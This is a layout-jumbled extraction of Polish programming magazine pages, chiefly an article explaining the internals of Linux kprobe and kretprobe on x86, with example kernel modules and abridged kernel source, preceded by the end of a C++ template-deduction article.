}; toring jest również łatwiejszy, gdyż liczba miejsc, w których należy
template<class Iter> wprowadzić zmiany, jest mniejsza.
Container(Iter b, Iter e) -> Container<typename
std::iterator_traits<Iter>::value_type>;

std::vector<double> v = { 1,2,3 }; Bibliografia


Container d = Container(v.begin(), v.end()); // T = double
[1] https://en.cppreference.com/w/cpp/language/class_template_argument_deduction
[2] https://accu.org/journals/overload/26/143/orr_2465/

RYZYKO NIEOCZEKIWANEJ DEDUKCJI


W praktyce CDAT może powodować dodatkowe problemy w uży-
ciu. Dlaczego? Ponieważ typ jest określany przy użyciu standardo- JAKUB WOŹNICZKA
wego mechanizmu dedukcji typu szablonów, który czasem może jakub.wozniczka@motorolasolutions.com
dawać nieintuicyjne rezultaty. Takim przypadkiem jest przekazanie Już na studiach stwierdził, że najbardziej intere-
zmiennej referencyjnej do szablonu klasy, które powoduje usunięcie suje go programowanie w C++. Od 8 lat zajmuje się
referencji w wyniku instancjonowania szablonu i przekazanie kopii programowaniem w tym języku, a także Pythonie.
Obecnie pracuje w Motoroli w dziale Video Security
obiektu. Podobnie dzieje się w momencie przypisania referencji do and Access Control jako Senior System Software En-
zmiennej auto (np. auto i = ref_x) – dedukcja typów usuwa refe- gineer, gdzie rozwija oprogramowanie na istniejące
rencję i tworzy kopię obiektu. i nowe kamery. Prywatnie uwielbia majsterkować.

<40> { 1 / 2022 < 100 > }


PROGRAMOWANIE SYSTEMOWE

Kprobe od środka. Przeprawa przez jądro Linuxa


Współczesne jądro systemu Linux ma kilka mechanizmów debugowania i profilowania, ta-
kich jak DTrace, ftrace, ktap, LTTng, perf, sysdig, SystemTap czy ostatnio popularny eBPF.
Większość z nich wykorzystuje m.in. kprobe do wstawiania próbek w jądrze systemu. Jednak
żaden z nich nie daje takich możliwości jak kprobe w przypadku, gdy potrzebujemy wpłynąć
na przebieg wykonywania kodu. Ma to jednak swoją cenę, gdyż kprobe jest jednym z najmniej
przyjaznych sposobów profilowania kernela. Jak już wspomniano wcześniej, kprobe jest pod-
stawą pod różne mechanizmy debugowania i profilowania jądra systemu, dlatego warto wie-
dzieć, jak ten mechanizm działa oraz jakie ma możliwości i ograniczenia.

K probe umożliwia wstrzyknięcie wywołania własnej funkcji pod


niemal dowolnym adresem kodu jądra systemu. Funkcja taka
nazywana jest funkcją próbkującą, a funkcją próbkowaną nazywa-
23: static void handler_post(struct kprobe *p,
24: struct pt_regs *regs,
25: unsigned long flags)
26: {
27: pr_info("post_handler: p->addr = 0x%p, "
na jest funkcja, do której wstawiany jest kprobe. Funkcja próbku- 28: "flags = 0x%lx\n", p->addr, regs->flags);
jąca ma dostęp do wszystkich rejestrów i całej pamięci jądra w try- 29: }
30: static int __init kprobe_init(void)
bie odczytu i zapisu, a także, jak już wspomniano wcześniej, może 31: {
wpływać na przebieg wykonywania kodu jądra systemu. Takie moż- 32: kp.symbol_name = "tcp_v4_connect";
33: kp.pre_handler = handler_pre;
liwości niosą za sobą zarówno pozytywne, jak i negatywne aspekty. 34: kp.post_handler = handler_post;
35: register_kprobe(&kp);
Do negatywnych przede wszystkim można zaliczyć kwestie związa-
36: return 0;
ne z bezpieczeństwem, gdzie, jak nietrudno sobie wyobrazić, dzięki 37: }
38: static void __exit kprobe_exit(void)
kprobe można ominąć niemal każde zabezpieczenie. Do pozytyw- 39: {
nych aspektów możemy zaliczyć możliwość wprowadzania dodatko- 40: unregister_kprobe(&kp);
41: }
wej kontroli dostępu do pewnych zasobów czy nawet łatać wykryte 42: module_init(kprobe_init)
luki bezpieczeństwa w jądrze bez potrzeby restartowania systemu. 43: module_exit(kprobe_exit)
44: MODULE_LICENSE("GPL");

43: module_exit(kprobe_exit)
PRZYKŁAD UŻYCIA 44: MODULE_LICENSE("GPL");

W Listingu 1 przedstawiono przykład, w jaki sposób można użyć Najpierw wypełniana jest struktura kprobe (32). Do pola .symbol_
kprobe, aby odczytać adres IP urządzenia, do którego nawiązywane name przypisywana jest nazwa funkcji próbkowanej, w tym przypad-
jest połączenie TCP. Jak widać, użycie kprobe polega na przygoto- ku jest to funkcja tcp_v4_connect. Następnie do pola .pre_han-
waniu modułu kernela. Jest to odmienne podejście niż w przypadku dler przypisywany jest adres funkcji próbkującej handler_pre, a do
innych tego typu mechanizmów w kernelu, gdzie zazwyczaj profilo- pola .pre_handler adres funkcji handler_post. Na końcu kprobe
wanie odbywa się za pomocą linii komend. jest rejestrowany poprzez funkcję kprobe_register. Przyjrzyjmy
się funkcji próbkującej handler_pre (7). Jest to funkcja, która jest
Listing 1. Przykład użycia kprobe
wyzwalana, gdy w tym przypadku zostanie wywołana funkcja tcp_
1: #include <linux/kernel.h> v4_connect. Jako parametry wejściowe podawany jest adres, gdzie
2: #include <linux/module.h>
3: #include <linux/kprobes.h> umieszczony został kprobe, a także kopia rejestrów procesora w mo-
4: mencie wejścia do funkcji tcp_v4_connect. Znając przeznaczenie
5: static struct kprobe kp;
6: rejestrów w danym miejscu, możemy pobrać wartości zmiennych,
7: static int handler_pre(struct kprobe *p,
8: struct pt_regs *regs)
które nas interesują. W omawianym przykładzie rejestr si wskazuje
9: { na strukturę sockaddr_in, z której można pobrać adres IP i następ-
10: struct sockaddr_in *saddr =
11: (struct sockaddr_in *)regs->si; nie go wypisać. Z kolei funkcja handler_post jest wywoływana po
12: __be32 addr = saddr->sin_addr.s_addr; zakończeniu pierwszej instrukcji w funkcji tcp_v4_connect. W Li-
13: uint8_t a1 = ((uint8_t *)&addr)[0];
14: uint8_t a2 = ((uint8_t *)&addr)[1]; stingu 2 przedstawiony został wycinek z dziennika systemowego, gdy
15: uint8_t a3 = ((uint8_t *)&addr)[2]; następuje próba pobrania strony pod adresem google.com.
16: uint8_t a4 = ((uint8_t *)&addr)[3];
17: uint16_t port = be16_to_cpu(saddr->sin_port);
Listing 2. Wycinek z dziennika systemowego z wynikiem działania kprobe
18: pr_info("Connecting to IP: %u.%u.%u.%u, Destination"
19: "port: %d\n", a1, a2, a3, a4, port);
Connecting to IP: 216.58.215.78, Destination port: 80
20: return 0;
post_handler: p->addr = 0x0000000059d30574, flags = 0x246
21: }
Connecting to IP: 216.58.215.68, Destination port: 80
22:
post_handler: p->addr = 0x0000000059d30574, flags = 0x246

<42> { 1 / 2022 < 100 > }


/ Kprobe od środka. Przeprawa przez jądro Linuxa /

JAK DZIAŁA KPROBE Listing 4. Funkcja przygotowująca kprobe dla architektury x86

1: int arch_prepare_kprobe(struct kprobe *p)


Przeanalizujmy funkcję register_kprobe, aby dowiedzieć się, jak dzia- 2: {
3: int ret;
ła kprobe. Funkcję tę w skróconej formie przedstawiono w Listingu 3. 4:
5: if (alternatives_text_reserved(p->addr, p->addr))
Listing 3. Funkcja rejestrująca kprobe 6: return -EINVAL;
7:
1: int register_kprobe(struct kprobe *p) 8: if (!can_probe((unsigned long)p->addr))
2: { 9: return -EILSEQ;
3: int ret; 10: p->ainsn.insn = get_insn_slot();
4: struct module *probed_mod; 11: if (!p->ainsn.insn)
5: kprobe_opcode_t *addr; 12: return -ENOMEM;
6: 13:
7: addr = kprobe_addr(p); 14: ret = arch_copy_kprobe(p);
8: if (IS_ERR(addr)) 15: if (ret) {
9: return PTR_ERR(addr); 16: free_insn_slot(p->ainsn.insn, 0);
10: p->addr = addr; 17: p->ainsn.insn = NULL;
11: 18: }
12: ret = check_kprobe_rereg(p); 19:
13: if (ret) 20: return ret;
14: return ret; 21: }
15: ...
16: ret = check_kprobe_address_safe(p, &probed_mod);
17: if (ret) Przyjrzyjmy się tej funkcji bliżej.
18: return ret; » (5) alternatives_text_reserved sprawdza, czy adres, pod któ-
19: ...
20: ret = prepare_kprobe(p); rym wstawiany jest kprobe, nie jest adresem, w którym używany
21: ... jest mechanizm SMP alternatives3.
22: if (!kprobes_all_disarmed && !kprobe_disabled(p)) {
23: ret = arm_kprobe(p); » (8) can_probe sprawdza, czy od prologu funkcji do miejsca, w któ-
24: ...
25: }
rym wstawiany jest kprobe, nie ma wstawionej instrukcji pułapki,
26: czyli instrukcji INT3. Jeżeli tak, to kprobe nie może zostać wstawiony.
27: try_to_optimize_kprobe(p);
28: ... » (10) p->ainsn.insn = get_insn_slot() – rezerwacja miejsca
29: return ret; w pamięci, w której zostanie skopiowana instrukcja spod adre-
30: }
su, gdzie wstawiany jest kprobe. Wskaźnik do pamięci zwraca-
nej przez get_insn_slot() ma atrybut pozwalający na wyko-
» (7) Na początek za pomocą funkcji kprobe_addr pobierany nywanie kodu.
jest docelowy adres, gdzie kprobe ma zostać zarejestrowany. » (14) Dalej wykonywana jest funkcja arch_copy_kprobe(), którą
Docelowy adres jest pobierany albo z adresu funkcji, której na- w skróconej formie (ciało funkcji zostało skrócone o kod, który
zwa została podana w polu .symbol_name, albo z pola .addr. związany jest z optymalizacją kprobe. Optymalizację kprobe po-
Jeżeli podano przesunięcie w polu .offset, to jest ono także krótce omówiono na końcu artykułu) przedstawiono w Listingu 5.
uwzględniane.
Listing 5. Funkcja wstawiająca pułapkę do obsługi kprobe
» (12) check_kprobe_rereg sprawdza, czy inny kprobe nie jest
już zarejestrowany pod podanym adresem. 1: static int arch_copy_kprobe(struct kprobe *p)
2: {
» (16) check_kprobe_address_safe sprawdza, czy pod danym 3: struct insn insn;
adresem można użyć kprobe. Weryfikacja następuje poprzez 4: kprobe_opcode_t buf[MAX_INSN_SIZE];
5: int len;
sprawdzenie: 6: len = __copy_instruction(buf, p->addr, p->ainsn.insn,
7: &insn);
ǿ czy adres znajduje się w sekcji kodu kernela, 8: ...
ǿ czy adres nie wskazuje na funkcję, która została oznaczona 9: p->opcode = buf[0];
10: text_poke(p->ainsn.insn, buf, len);
przez makro NOKPROBE_SYMBOL, 11: return 0;
ǿ czy adres nie wskazuje na instrukcje etykiet skoku (ang. la- 12: }

bel jump), czyli instrukcje warunkowe wykorzystujące makro


static_branch_likely() lub static_branch_unlikely()1, Funkcja ta kopiuje instrukcję spod adresu p->addr do bufora buf.
ǿ czy adres nie wskazuje na makro BUG() albo WARN*(). Następnie pierwszy bajt instrukcji kopiowany jest do pola .opcode
» (20) prepare_kprobe odpowiada za przygotowanie kprobe po- struktury kprobe i dalej za pomocą funkcji text_poke kopiowana jest
przez wywołanie funkcji arch_prepare_kprobe2, która dla każ- instrukcja z bufora buf pod adres wskazywany przez p->ainsn.insn.
dej architektury ma inną implementację. W Listingu 4 przedsta- Funkcja text_poke działa podobnie do funkcji memcpy, z tym że jest
wiono jej ciało dla architektury x86. przeznaczona do operowania na pamięci, z której może być wykony-
wany kod kernela.
Po pozytywnym zakończeniu arch_prepare_kprobe sterowanie
1. Etykiety skoku w kernelu pozwalają dynamicznie zmieniać instrukcje warunkowe if(...) na
bezpośredni skok do danego rozgałęzienia. Mechanizm ten działa poprzez dynamiczną modyfikację powraca do funkcji arch_prepare_kprobe, która także kończy swoje
kodu kernela, gdzie asemblerowy skok warunkowy zamieniany jest w skok bezwarunkowy, gdy sys-
tem jest pewny, że dany warunek zawsze będzie przechodził do danego rozgałęzienia.
działanie.
2. Funkcja arch_prepare_kprobe jest wywoływana, gdy nie jest używany mechanizm kprobe
oparty na ftrace. Ponieważ kprobe używający ftrace jest ograniczony tylko do próbkowania prologu 3. SMP alternatives to mechanizm, który pozwala na podmianę kodu kernela w zależności od tego,
funkcji, nie będziemy się nim tutaj zajmować. czy kernel jest uruchomiony na procesorze jedno-, czy wielordzeniowym.

{ WWW.PROGRAMISTAMAG.PL } <43>
PROGRAMOWANIE SYSTEMOWE

Podsumowując, funkcja arch_prepare_kprobe (z Listingu 4) Listing 8. Funkcja obsługująca przerwania spowodowane instrukcją INT3
upewnia się, czy kprobe dla architektury x86 może zostać wstawio- 1: dotraplinkage void notrace do_int3(struct pt_regs *regs,
ny pod dany adres, a następnie tworzy kopię instrukcji spod adresu, 2: long error_code)
3: {
gdzie wstawiany jest kprobe. 4: ...
Wracając do funkcji register_kprobe z Listingu 3, po wykona- 5: #ifdef CONFIG_KPROBES
6: if (kprobe_int3_handler(regs))
niu funkcji prepare_kprobe następuje przejście do kolejnej funkcji 7: goto exit;
arm_kprobe, która wywołuje funkcję __arm_kprobe. Ciało tej funk- 8: #endif
9: ...
cji przedstawiono w Listingu 6. 10: }

Listing 6. Funkcja aktywująca kprobe


Jak widać, funkcja obsługi przerwania wywołuje funkcję kprobe_
1: static void __arm_kprobe(struct kprobe *p) int3_handler, którą zaprezentowano w Listingu 9.
2: {
3: struct kprobe *_p;
Listing 9. Funkcja obsługująca kprobe w kontekście przerwania
4: _p = get_optimized_kprobe((unsigned long)p->addr);
5: if (unlikely(_p))
6: unoptimize_kprobe(_p, true); 1: int kprobe_int3_handler(struct pt_regs *regs)
7: 2: {
8: arch_arm_kprobe(p); 3: kprobe_opcode_t *addr;
9: optimize_kprobe(p); 4: struct kprobe *p;
10: } 5: struct kprobe_ctlblk *kcb;
6: if (user_mode(regs))
7: return 0;
8: addr = (kprobe_opcode_t *)(regs->ip -
Funkcja ta (4) najpierw sprawdza, czy pod danym adresem zareje- 9: sizeof(kprobe_opcode_t));
10: kcb = get_kprobe_ctlblk();
strowany jest inny kprobe, który został zoptymalizowany. Jeżeli tak, 11: p = get_kprobe(addr);
to następuje jego deoptymalizacja (6). Następnie wywoływana jest 12: if (p) {
13: if (kprobe_running()) {
funkcja (8) arch_arm_kprobe, którą przedstawiono w Listingu 7. 14: if (reenter_kprobe(p, regs, kcb))
15: return 1;
Listing 7. Funkcja aktywująca kprobe dla architektury x86 16: } else {
17: set_current_kprobe(p, regs, kcb);
1: void arch_arm_kprobe(struct kprobe *p) 18: kcb->kprobe_status = KPROBE_HIT_ACTIVE;
2: { 19: if (!p->pre_handler ||
3: text_poke(p->addr, 20: !p->pre_handler(p, regs))
4: ((unsigned char []){BREAKPOINT_INSTRUCTION}), 21: setup_singlestep(p, regs, kcb, 0);
5: 1); 22: else
6: } 23: reset_current_kprobe();
24: return 1;
25: }
Zadaniem tej funkcji jest wstawienie pułapki (ang. breakpoint) w miej- 26: } else if (*addr != BREAKPOINT_INSTRUCTION) {
27: regs->ip = (unsigned long)addr;
sce, gdzie rejestrowany jest kprobe. Na przedstawionym listingu 28: return 1;
BREAKPOINT_INSTRUCTION ma wartość 0xCC, czyli instrukcję INT3 29: }
30: return 0;
w architekturze x86. Wracając do funkcji __arm_kprobe z Listingu 6, 31: }
po zakończeniu (8) arch_arm_kprobe następuje wywołanie funk-
cji (9) optimize_kprobe, przygotowującej kprobe do optymaliza- Funkcja kprobe_int3_handler najpierw pobiera adres, skąd zostało
cji. Po zakończeniu __arm_kprobe wykonywanie kodu powraca do wywołane przerwanie (8). Pole regs->ip wskazuje na kolejną in-
funkcji register_kprobe z Listingu 3, gdzie dalej wykonana zosta- strukcję, dlatego jej wartość należy zmniejszyć o rozmiar instrukcji,
nie funkcja (27) try_to_optimize_kprobe, która dokonuje próby która wywołała przerwanie. Dla architektury x86 będzie to rozmiar
zoptymalizowania wstawianego kprobe, aby uniknąć narzutu spowo- instrukcji INT3, czyli jeden bajt. Dalej pobierany jest kprobe zareje-
dowanego przez obsługę przerwania. strowany pod wyliczonym adresem (11). W przypadku gdy udało
Podsumowując, funkcja register_kprobe sprawdza szereg wa- się znaleźć kprobe i nie jest to wywołanie rekurencyjne, odbywa się
runków, aby upewnić się, czy kprobe może zostać wstawiony pod po- sprawdzenie, czy dla kprobe zdefiniowano funkcję pre_handler (19).
danym adresem. Najpierw sprawdzane są ogólne warunki – funkcja Dla przykładu z Listingu 1 wywołana zostanie funkcja handler_
check_kprobe_address_safe – a następnie warunki specyficzne dla post. Jeżeli funkcja handler_post zwróci wartość różną od zera, to
danej architektury – funkcja arch_prepare_kprobe. Dalej tworzona działanie kprobe zostanie zakończone. W przeciwnym wypadku wy-
jest kopia instrukcji spod adresu, gdzie wstawiany jest kprobe. Kopia wołana zostanie funkcja setup_singlestep (21), którą w skróconej
instrukcji jest potrzebna, gdyż pierwszy bajt instrukcji, spod zadane- formie przedstawiono w Listingu 10.
go adresu, zostanie podmieniony z wartością 0xCC, czyli instrukcją
Listing 10. Funkcja przygotowująca flagi dla procesora do pracy w trybie
pułapki INT3. Na samym końcu funkcji nastąpi próba zoptymalizo- krokowym
wania wstawianego kprobe.
1: static void setup_singlestep(struct kprobe *p,
Jak już wiemy, kprobe do swojego działania wykorzystuje instruk- 2: struct pt_regs *regs,
cję pułapki. Oznacza to, że procesor zgłosi przerwanie, wykonując 3: struct kprobe_ctlblk *kcb,
4: int reenter)
instrukcję spod adresu, gdzie dodany został kprobe. Zajrzyjmy za- 5: {
tem do funkcji do_int3, która obsługuje przerwania spowodowane 6: ...
7: regs->flags |= X86_EFLAGS_TF;
instrukcją INT3. Skrócone ciało funkcji przedstawiono w Listingu 8.

<44> { 1 / 2022 < 100 > }


/ Kprobe od środka. Przeprawa przez jądro Linuxa /

8: regs->flags &= ~X86_EFLAGS_IF; Kolejnym zadaniem funkcji resume_execution jest przywrócenie


9: if (p->opcode == BREAKPOINT_INSTRUCTION)
10: regs->ip = (unsigned long)p->addr; prawidłowego adresu powrotu na stosie w przypadku, gdy kprobe
11: else został ustawiony na instrukcję operującą na adresie powrotu. Ta-
12: regs->ip = (unsigned long)p->ainsn.insn;
13: } kimi instrukcjami są instrukcje wywołania (call) czy instrukcje
powrotu (ret/iret/lret). Następnie po zakończeniu funkcji re-
Funkcja setup_singlestep ustawia flagę pracy krokowej (TF – Trap- sume_execution sprawdzane jest, czy nie występuje wywołanie re-
Flag) i kasuje flagę przerwania (IF – Interrupt Flag) w polu .flags kurencyjne oraz czy do pola .post_handler struktury kprobe zosta-
struktury pt_regs. Następnie do pola .ip przypisywany jest adres ła przypisana funkcja (13). Jeżeli tak, to zostaje ona wywołana (16).
pamięci, gdzie przechowywana jest pierwotna instrukcja spod adre- Dalej wykonywanie kodu powraca do funkcji obsługi przerwania
su, gdzie zarejestrowany został kprobe. Po zakończeniu obsługi prze- do_debug, gdzie po jej zakończeniu następuje dalsze przetwarzanie
rwania rejestr procesora FLAGS zostanie ustawiony na wartość pola funkcji, w której został umieszczony kprobe.
.flags, a wartość rejestru licznika programu (IP – Instruction Pointer) W tym momencie możemy podsumować to, w jaki sposób działa
zostanie ustawiona na wartość pola .ip struktury pt_regs. A zatem kprobe na architekturze x86. Kprobe do swojego działania wykorzy-
po zakończeniu obsługi przerwania procesor wykona instrukcję bę- stuje mechanizm debugowania kernela poprzez wstawienie instrukcji
dącą w buforze wskazywanym przez zmienną p->ainsn.insn. Do- pułapki INT3 w miejscu wskazywanym przez kprobe. Gdy proce-
datkowo procesor poprzez ustawioną flagę X86_EFLAGS_TF będzie sor napotka na ustawioną pułapkę, to pośrednio wywołuje funkcję
wykonywał kod w trybie krokowym, czyli po każdej wykonanej in- zdefiniowaną w polu .pre_handler struktury kprobe, a następnie
strukcji zostanie zgłoszone przerwanie. Na architekturze x86 obsługą w trybie krokowym wykonuje kopię instrukcji, gdzie wstawiany był
przerwania w trybie krokowym zajmuje się funkcja do_debug, którą kprobe. Na koniec wywoływana jest funkcja zdefiniowana w polu
w skróconej formie przedstawiono w Listingu 11. .post_handler.

Listing 11. Funkcja obsługująca przerwania w trybie krokowym

1: dotraplinkage void do_debug(struct pt_regs *regs,


KRETPROBE
2: long error_code)
3: { Niekiedy zachodzi potrzeba, aby przechwycić moment, w którym
4: ... funkcja kończy swoje działanie. O ile nie ma problemu ze wstawie-
5: #ifdef CONFIG_KPROBES
6: if (kprobe_debug_handler(regs)) niem kprobe na koniec funkcji, które mają tylko jeden punkt wyjścia,
7: goto exit;
8: #endif
o tyle kłopot pojawia się w chwili, kiedy funkcja może zakończyć
9: ... swoje działanie w kilku miejscach. Rejestrowanie kilku kprobe jest
10: }
wtedy niewygodnie. W takiej sytuacji z pomocą przychodzi kretpro-
be, który dba o to, aby przy wyjściu z funkcji zawsze została wywo-
Jak widać, setup_singlestep wywołuje funkcję kprobe_debug_ łana funkcja próbkująca, bez względu na to, ile funkcja ma punktów
handler, którą zaprezentowano w Listingu 12. wyjścia. Dodatkowo kretprobe pozwala na zarejestrowanie funkcji
próbkującej przy wejściu do funkcji, gdyż, jak się później okaże, jest
Listing 12. Funkcja obsługująca kprobe w kontekście przerwania w kroko-
wym trybie pracy to spowodowane tym, jak kretprobe jest zaimplementowane.
Rejestracja kretprobe wygląda podobnie jak kprobe, z tym że
1: int kprobe_debug_handler(struct pt_regs *regs)
2: { kretprobe nie można ustawić na dowolny adres, a jedynie na ten, któ-
3: struct kprobe *cur = kprobe_running(); ry wskazuje na początek funkcji. W Listingu 13 przedstawiono przy-
4: struct kprobe_ctlblk *kcb = get_kprobe_ctlblk();
5: kład kretprobe, który mierzy czas wykonywania funkcji _do_fork
6: if (!cur) oraz wypisuje wartość zwracaną przez funkcję.
7: return 0;
8:
9: resume_execution(cur, regs, kcb);
Listing 13. Przykład użycia kretprobe
10: regs->flags |= kcb->kprobe_saved_flags;
11: 1: #include <linux/kernel.h>
12: if ((kcb->kprobe_status != KPROBE_REENTER) && 2: #include <linux/module.h>
13: cur->post_handler) 3: #include <linux/kprobes.h>
14: { 4: #include <linux/ktime.h>
15: kcb->kprobe_status = KPROBE_HIT_SSDONE; 5: #include <linux/limits.h>
16: cur->post_handler(cur, regs, 0); 6: #include <linux/sched.h>
17: } 7:
18: ... 8: struct my_data {
19: } 9: ktime_t entry_stamp;
10: };
11:
Funkcja kprobe_debug_handler na początek przywraca prawidłowy 12: static int entry_handler(struct kretprobe_instance *ri,
13: struct pt_regs *regs)
adres w rejestrze licznika programu za pomocą funkcji resume_ex- 14: {
ecution (9). Taka operacja jest potrzebna, gdyż po zakończeniu 15: struct my_data *data = (struct my_data *)ri->data;
16: data->entry_stamp = ktime_get();
obsługi przerwania licznik programu będzie ustawiony na kolejną 17: return 0;
instrukcję w buforze wskazywanym przez pole .ainsn.insn struk- 18: }
19:
tury kprobe. Bufor ten zawiera tylko jedną prawidłową instrukcję, 20: static int ret_handler(struct kretprobe_instance *ri,
21: struct pt_regs *regs)
która została skopiowana z miejsca, gdzie wstawiany był kprobe.

{ WWW.PROGRAMISTAMAG.PL } <45>
PROGRAMOWANIE SYSTEMOWE

22: { Listing 15. Definicja struktury kretprobe


23: unsigned long retval = regs_return_value(regs);
24: struct my_data *data = (struct my_data *)ri->data; 1: struct kretprobe {
25: s64 delta; 2: struct kprobe kp;
26: ktime_t now; 3: kretprobe_handler_t handler;
27: 4: kretprobe_handler_t entry_handler;
28: now = ktime_get(); 5: int maxactive;
29: delta = ktime_to_ns(ktime_sub(now, 6: int nmissed;
30 data->entry_stamp)); 7: size_t data_size;
31: pr_info("%s returned %lu and took %lld ns to execute" 8: struct freelist_head freelist;
32: ,"_do_fork", retval, (long long)delta); 9: struct kretprobe_holder *rph;
33: return 0; 10: };
34: }
35:
36: static struct kretprobe my_kretprobe = {
37: .kp.symbol_name = "_do_fork", Jak widać, struktura kretprobe jest niejako rozszerzeniem struktury
38: .handler = ret_handler, (2) kprobe m.in. o dodatkowe wskaźniki do funkcji próbkujących (3)
39: .entry_handler = entry_handler,
40: .data_size = sizeof(struct my_data), (4), które są wywoływane przy wejściu i wyjściu z funkcji. Następnie
41: };
42:
przyjrzyjmy się funkcji register_kretprobe, którą zaprezentowano
43: static int __init kretprobe_init(void) w Listingu 16.
44: {
45: register_kretprobe(&my_kretprobe); Listing 16. Definicja funkcji rejestrującej kretprobe
46: return 0;
47: } 1: int register_kretprobe(struct kretprobe *rp)
48: 2: {
49: static void __exit kretprobe_exit(void) 3: ...
50: { 4: ret = kprobe_on_func_entry(rp->kp.addr,
51: unregister_kretprobe(&my_kretprobe); 5: rp->kp.symbol_name,
52: } 6: rp->kp.offset);
53: 7: if (ret)
54: module_init(kretprobe_init) 8: return ret;
55: module_exit(kretprobe_exit) 9: ...
56: MODULE_LICENSE("GPL"); 10: rp->kp.pre_handler = pre_handler_kretprobe;
11: rp->kp.post_handler = NULL;
Przeanalizujmy przedstawiony powyżej przykład. 12: ...
13: ret = register_kprobe(&rp->kp);
» (8) Na samym początku definiowana jest struktura, która zawie- 14: if (ret != 0)
ra znacznik czasowy wykorzystywany do obliczenia czasu wy- 15: free_rp_inst(rp);
16: return ret;
konywania funkcji. Struktura ta jest przekazywana jako dodat- 17: }
kowy argument do funkcji próbkującej.
» (12) Funkcja próbkująca wywoływana przy wejściu do funkcji W celu ułatwienia analizy część kodu została usunięta. Najpierw funk-
próbkowanej. Jej zadaniem jest ustawienie znacznika czasu. cja (4) kprobe_on_func_entry sprawdza, czy podano nazwę funkcji,
» (20) Funkcja próbkująca wywoływana przy wyjściu z funkcji która ma być próbkowana, lub czy podany adres w polu .kp.addr
próbkowanej. Funkcja ta oblicza i wypisuje czas przetwarzania wskazuje na początek funkcji. Następnie pole (10) .pre_handler
funkcji próbkowanej oraz wypisuje zwracaną przez nią wartość. struktury kprobe zostaje ustawione na funkcję pre_handler_kret-
» (36) Inicjalizacja struktury wymaganej do rejestracji kretpro- probe, a pole .post_handler zostaje wyzerowane. Na końcu (13)
be. W tym przykładzie podana jest nazwa funkcji, która ma być rejestrowany jest kprobe, który zawarty jest z strukturze kretprobe.
próbkowana. Zamiast nazwy funkcji można podać jej adres do Oznacza to, że funkcja pre_handler_kretprobe zostanie wywołana
pola o nazwie .kp.addr. Następnie inicjalizowane są wskaźni- przy wejściu do funkcji próbkowanej. Funkcję pre_handler_kret-
ki do funkcji próbkujących, które wywoływane są przy wejściu probe przedstawiono w Listingu 17.
i wyjściu z funkcji. Ostatnim ustawianym polem jest rozmiar
Listing 17. Definicja funkcji wywoływanej przy wejściu do funkcji próbkowanej
struktury, która przekazywana jest do funkcji próbkujących.
Struktura kretprobe zawiera także inne pola, jednak uzupełnie- 1: static int pre_handler_kretprobe(struct kprobe *p,
2: struct pt_regs *regs)
nie ich nie jest wymagane. 3: {
» (45) Rejestracja kretprobe przy inicjalizacji modułu. 4: struct kretprobe *rp = container_of(p,
5: struct kretprobe,
» (51) Wyrejestrowanie kretprobe podczas usuwaniu modułu. 6: kp);
7: struct kretprobe_instance *ri;
8: struct freelist_node *fn;
Przykładowy wynik działania kreprobe po wywołaniu polecenia true 9:
10: fn = freelist_try_get(&rp->freelist);
przedstawiono w Listingu 14. 11: if (!fn) {
12: rp->nmissed++;
Listing 14. Wynik działania kreptrobe 13: return 0;
14: }
_do_fork returned 1212 and took 616468 ns to execute 15:
_do_fork returned 1213 and took 293951 ns to execute 16: ri = container_of(fn, struct kretprobe_instance,
17: freelist);

JAK DZIAŁA KRETPROBE


18:
19: if (rp->entry_handler &&
20: rp->entry_handler(ri, regs)) {
21: freelist_add(&ri->freelist, &rp->freelist);
Na początek przyjrzyjmy się strukturze kretprobe, którą przedstawio-
22: return 0;
no w Listingu 15.

<46> { 1 / 2022 < 100 > }


/ Kprobe od środka. Przeprawa przez jądro Linuxa /

23: } (7) rejestr flag (EFLAGS), (8) rejestry segmentowe oraz rejestry ogól-
24:
25: arch_prepare_kretprobe(ri, regs); nego przeznaczenia. Następnie wywoływana jest funkcja trampoline_
26: handler, którą w skróconej formie przedstawiono w Listingu 20. Zada-
27: __llist_add(&ri->llist,
28: &current->kretprobe_instances); niem tej funkcji jest pobranie pierwotnego adresu powrotu z funkcji
29: próbkowanej oraz (34) wywołanie funkcji próbkującej zarejestrowa-
30: return 0;
31: } nej w polu .handler struktury kretprobe. Z przykładu użycia kret-
probe przedstawionego na początku tego akapitu do pola .handler
Na początek (19) wywoływana jest funkcja próbkująca zarejestro- przypisana jest funkcja ret_handler, która odpowiada za obliczenie
wana w polu .entry_handler struktury kretprobe. Z przykładu czasu wykonywania funkcji próbkowanej. Wynikiem funkcji jest
przedstawionego w Listingu 13 jest to funkcja, która ustawia znacz- pierwotny adres powrotu z funkcji próbkowanej.
nik czasowy do mierzenia czasu wykonywania funkcji próbkowanej.
Listing 20. Definicja funkcji trampoline_handler
Następnie jeżeli funkcja spod adresu pola .entry_handler zwróci
wartość 0, wywołana zostanie funkcja (25) arch_prepare_kret- 1: __visible __used void *
2: trampoline_handler(struct pt_regs *regs)
probe, która służy do przygotowania kretprobe. Dla architektury x86 3: {
funkcję tę przedstawiono w Listingu 18. 4: struct kretprobe_instance *ri = NULL;
5: struct hlist_head *head;
6: struct hlist_node *tmp;
Listing 18. Definicja funkcji przygotowującej kretprobe 7: unsigned long orig_ret_address = 0;
8: unsigned long trampoline_address =
1: void arch_prepare_kretprobe(struct kretprobe_instance 9: (unsigned long)&kretprobe_trampoline;
2: *ri, struct pt_regs *regs) 10: kprobe_opcode_t *correct_ret_addr = NULL;
3: { 11: ...
4: unsigned long *sara = stack_addr(regs); 12: hlist_for_each_entry(ri, head, hlist) {
5: 13: if (ri->task != current)
6: ri->ret_addr = (kprobe_opcode_t *) *sara; 14: continue;
7: ri->fp = sara; 15:
8: 16: orig_ret_address = (unsigned long)ri->ret_addr;
9: *sara = (unsigned long) &kretprobe_trampoline; 17:
10: } 18: if (orig_ret_address != trampoline_address)
19: break;
20: }
21:
Na początku (4) pobierany jest wskaźnik ostatniego elementu
22: kretprobe_assert(ri, orig_ret_address,
umieszczonego na stosie. W architekturze x86 ostatnim elementem 23: trampoline_address);
24:
na stosie tuż po wejściu do funkcji jest adres powrotu. Następnie (6) 25: correct_ret_addr = ri->ret_addr;
tworzona jest kopia adresu powrotu. Natomiast na końcu (9) adres 26: hlist_for_each_entry_safe(ri, tmp, head, hlist) {
27: if (ri->task != current)
powrotu zastępowany jest przez adres do funkcji kretprobe_tram- 28: continue;
poline. Taka operacja oznacza, że przy wyjściu z funkcji próbkowa- 29:
30: orig_ret_address = (unsigned long)ri->ret_addr;
nej wywołana zostanie funkcja kretprobe_trampoline. Ponieważ 31: if (ri->rp && ri->rp->handler) {
